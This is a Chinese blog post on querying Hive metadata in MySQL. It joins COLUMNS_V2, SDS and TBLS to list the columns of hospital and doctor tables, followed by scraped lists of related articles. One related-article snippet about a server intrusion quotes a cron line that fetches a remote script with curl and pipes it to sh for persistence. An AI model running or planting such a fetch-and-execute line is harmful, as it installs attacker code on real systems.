hive元数据研究
hive的元数据存放在关系型数据库中,元数据中存储了hive中所有表格的信息,包括表格的名字,表格的字段,字段的类型,注释。这些信息分散的存放在各个表中,给定一个hive中的表格名字,查询这个表中含有的所有字段,使用如下的SQL语句:
mysql> select COLUMNS_V2.* from COLUMNS_V2,SDS, TBLS where COLUMNS_V2.CD_ID = SDS.CD_ID and SDS.SD_ID = TBLS.SD_ID and TBLS.TBL_NAME='dwd_medical_hospital_dd';
+-------+--------------------------------------+-------------+-----------+-------------+
| CD_ID | COMMENT | COLUMN_NAME | TYPE_NAME | INTEGER_IDX |
+-------+--------------------------------------+-------------+-----------+-------------+
| 603 | 地址 | address | string | 2 |
| 603 | 医院类型 | clean_type | string | 14 |
| 603 | 采集时间 | create_time | string | 10 |
| 603 | 所在大区 | extend_area | string | 13 |
| 603 | 所在城市 | extend_city | string | 11 |
| 603 | 所在省份 | extend_prov | string | 12 |
| 603 | 路线 | howtogo | string | 3 |
| 603 | 主键ID/在其它表中表示为外键:hosp_id | id | string | 0 |
| 603 | 医院等级 | level | string | 4 |
| 603 | 医院名字 | name | string | 1 |
| 603 | 简介 | profiles | string | 7 |
| 603 | 区域ID/城市ID | prov_id | string | 5 |
| 603 | 资源配置量 | resouce | string | 8 |
| 603 | 电话 | telephone | string | 6 |
| 603 | 采集URL | url | string | 9 |
| 583 | 地址 | address | string | 2 |
| 583 | 医院类型 | clean_type | string | 14 |
| 583 | 采集时间 | create_time | string | 10 |
| 583 | 所在大区 | extend_area | string | 13 |
| 583 | 所在城市 | extend_city | string | 11 |
| 583 | 所在省份 | extend_prov | string | 12 |
| 583 | 路线 | howtogo | string | 3 |
| 583 | 主键ID/在其它表中表示为外键:hosp_id | id | string | 0 |
| 583 | 医院等级 | level | string | 4 |
| 583 | 医院名字 | name | string | 1 |
| 583 | 简介 | profiles | string | 7 |
| 583 | 区域ID/城市ID | prov_id | string | 5 |
| 583 | 资源配置量 | resouce | string | 8 |
| 583 | 电话 | telephone | string | 6 |
| 583 | 采集URL | url | string | 9 |
+-------+--------------------------------------+-------------+-----------+-------------+
30 rows in set
mysql> select COLUMNS_V2.* from COLUMNS_V2,SDS, TBLS where COLUMNS_V2.CD_ID = SDS.CD_ID and SDS.SD_ID = TBLS.SD_ID and TBLS.TBL_NAME='dws_info_doctor_dd';
+-------+----------+----------------+-----------+-------------+
| CD_ID | COMMENT | COLUMN_NAME | TYPE_NAME | INTEGER_IDX |
+-------+----------+----------------+-----------+-------------+
| 673 | 年龄 | age | string | 3 |
| 673 | 科室ID | department_id | string | 10 |
| 673 | 从诊年限 | diagnosis_time | string | 6 |
| 673 | 履历 | experience | string | 8 |
| 673 | 擅长疾病 | good | string | 5 |
| 673 | NULL | hosp_id | string | 11 |
| 673 | 主键ID | id | string | 0 |
| 673 | 医生名称 | name | string | 1 |
| 673 | 门诊量 | outpatient_num | string | 7 |
| 673 | 医生职称 | position | string | 2 |
| 673 | 评分 | score | string | 9 |
| 673 | 性别 | sex | string | 4 |
| 758 | 年龄 | age | string | 3 |
| 758 | 科室ID | department_id | string | 10 |
| 758 | 从诊年限 | diagnosis_time | string | 6 |
| 758 | 履历 | experience | string | 8 |
| 758 | 擅长疾病 | good | string | 5 |
| 758 | NULL | hosp_id | string | 11 |
| 758 | 主键ID | id | string | 0 |
| 758 | 医生名称 | name | string | 1 |
| 758 | 门诊量 | outpatient_num | string | 7 |
| 758 | 医生职称 | position | string | 2 |
| 758 | 评分 | score | string | 9 |
| 758 | 性别 | sex | string | 4 |
| 732 | 年龄 | age | string | 3 |
| 732 | 科室ID | department_id | string | 10 |
| 732 | 从诊年限 | diagnosis_time | string | 6 |
| 732 | 履历 | experience | string | 8 |
| 732 | 擅长疾病 | good | string | 5 |
| 732 | 主键ID | id | string | 0 |
| 732 | 医生名称 | name | string | 1 |
| 732 | 门诊量 | outpatient_num | string | 7 |
| 732 | 医生职称 | position | string | 2 |
| 732 | 评分 | score | string | 9 |
| 732 | 性别 | sex | string | 4 |
+-------+----------+----------------+-----------+-------------+
35 rows in set
hive元数据中相关的表格关系如下:

hive元数据研究的更多相关文章
- hive 元数据解析
在使用Hive进行开发时,我们往往需要获得一个已存在hive表的建表语句(DDL),然而hive本身并没有提供这样一个工具. 要想还原建表DDL就必须从元数据入手,我们知道,hive的元数据并不存放在 ...
- 如何监听对 HIVE 元数据的操作
目录 简介 HIVE 基本操作 获取 HIVE 源码 编译 HIVE 源码 启动 HIVE 停止 HIVE 监听对 HIVE 元数据的操作 参考文档 简介 公司有个元数据管理平台,会定期同步 HIVE ...
- spark on yarn模式下配置spark-sql访问hive元数据
spark on yarn模式下配置spark-sql访问hive元数据 目的:在spark on yarn模式下,执行spark-sql访问hive的元数据.并对比一下spark-sql 和hive ...
- Hive元数据启动失败,端口被占用
org.apache.thrift.transport.TTransportException: Could not create ServerSocket on address 0.0.0.0/0. ...
- Hive实现自增序列及常见的Hive元数据问题处理
Hive实现自增序列 在利用数据仓库进行数据处理时,通常有这样一个业务场景,为一个Hive表新增一列自增字段(比如事实表和维度表之间的"代理主键").虽然Hive不像RDBMS如m ...
- Hive——元数据表含义
Hive--元数据表含义 1.VERSION -- 查询版本信息 Field Type Comment VER_ID bigint(20) ID主键 SCHEMA_VERSION va ...
- 大数据学习(11)—— Hive元数据服务模式搭建
这一篇介绍Hive的安装及操作.版本是Hive3.1.2. 调整部署节点 在Hadoop篇里,我用了5台虚拟机来搭建集群,但是我的电脑只有8G内存,虚拟机启动之后卡到没法操作,把自己坑惨了. Hive ...
- 再谈Hive元数据如hive_metadata与Linux里MySQL的深入区别(图文详解)
不多说,直接上干货! [bigdata@s201 conf]$ vim hive-site.xml [bigdata@s201 conf]$ pwd /soft/hive/conf [bigdata@ ...
- Hive元数据找回
如果不小心删除了了hive的元数据文件(/user/hive/warehouse),只要先前core-site.xml文件中设置了fs.trash.interval属性就可以找回.hdfs会为用户创建 ...
随机推荐
- python操作Excel的几种方式
Python对Excel的读写主要有xlrd.xlwt.xlutils.openpyxl.xlsxwriter几种. 1.xlrd主要是用来读取excel文件 import xlrd workbook ...
- Array相关的属性和方法
这里只是做了相关的列举,具体的使用方法,请参考网址. Array 对象属性 constructor 返回对创建此对象的数组函数的引用. var test=new Array(); if (test.c ...
- SQL Server 默认跟踪(Default Trace)获取某个Trace跟踪了哪些Event和column
检查Default Trace是否已经开启,如果返回Figure1中value为1,那就说明已经开启默认跟踪了:如果value为0表示关闭默认跟踪: --查询Default Trace是否开启 ; 如 ...
- 高级加密标准(英语:Advanced Encryption Standard,缩写:AES)
2006年,高级加密标准已然成为对称密钥加密中最流行的算法之一.
- Dynamic Lotusscript
Introduction This short article gives an introduction to the underrated Execute method that is avail ...
- 获取spring的ApplicationContext几种方式【转】
转自:http://blog.sina.com.cn/s/blog_9c7ba64d0101evar.html Java类获取spring 容器的bean 常用的5种获取spring 中bean的方式 ...
- curl定时任务下载执行
服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...
- Arduino和C51之串口通信
技术:51单片机.Arduino.串口通信 概述 本文主要讲解串口通信技术的使用方法,并通过串口点灯实验介绍了51单片机和Arduino串口的使用,为初学者学习串口知识提供帮助 详细 代码下载:h ...
- PL/SQL Developer 中文乱码问题的解决
分三个步骤解决: 1.检查server编码: 运行SQL语法: select * from v$nls_parameters; 2.设置本地client编码: 进入 ...
- Apache 日志设置不记录指定文件类型的方法和日志轮
Apache日志精准的记录了Web访问的记录,但对于访问量很大的站来说,日志文件过大对于分析和保存很不方便.可以在http.conf(或虚拟主机设置文件httpd-vhosts.conf)中进行设置, ...